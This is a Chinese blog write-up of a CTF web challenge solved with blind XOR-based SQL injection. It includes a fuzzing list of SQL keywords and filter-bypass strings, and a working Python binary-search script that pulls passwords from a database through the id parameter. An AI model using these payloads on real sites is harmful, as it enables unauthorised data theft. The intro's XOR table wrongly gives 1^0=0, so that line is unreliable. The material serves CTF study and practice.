[极客大挑战 2019]FinalSQL

0x00 前言

考点:盲注,异或注入

  • 异或'^'是一种数学运算,1^1=0 0^0=0 1^0=0,可以用来进行sql注入,当两条件相同时(同真同假)结果为假,当两条件不同时(一真一假)结果为真。

0x01 解题

  1. 进入题目页面,尝试在用户名密码处进行注入,做一下FUZZ测试:图2图3

大多数关键字都被过滤,下面附上我的我的FUZZ测试字典:

and
aNd
or
oR
oorr
select
sElect
union
unIon
union select
union/**/select
/**/
 
 '
 "
 \
 information_schema
 ^
 &&
 uniOn/**/select
  1. 点击上面的数字,发现URL发生变化:图4
    猜想id可能是注入点,接着做FUZZ测试,''没有被过滤,输入11回显'ERROR',1^0回显'NO! Not this! Click others~~~',判断出为数字型注入。
  2. 给出我的exp:
import requests
url = 'http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php'
flag = ''
for i in range(1,250):
   low = 32
   high = 128
   mid = (low+high)//2
   while(low<high):
       #payload = 'http://d63d924a-88e3-4036-b463-9fc6a00f4fef.node3.buuoj.cn/search.php?id=1^(ascii(substr(database(),%d,1))=%d)#' %(i,mid)
       payload = "http://33e8c85b-d0d4-4777-9143-702ddf10ee0e.node3.buuoj.cn/search.php?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)" %(i,mid)
       res = requests.get(url=payload)

       if 'ERROR' in res.text:
           low = mid+1
       else:
           high = mid
       mid = (low+high)//2
   if(mid ==32 or mid ==127):
       break
   flag = flag+chr(mid)
   print(flag)

由于空格被过滤,用()代替,我这里payload直接写到了最后一步,猜解表名,字段名的payload我这里就不写了,直接去嵌套常规的联合查询语句即可。

用二分法速度还是很快的,效率上有很大提高。 图6
拿到flag。

posted @ 2020-06-01 18:35  泠涯  阅读(2006)  评论(2编辑  收藏  举报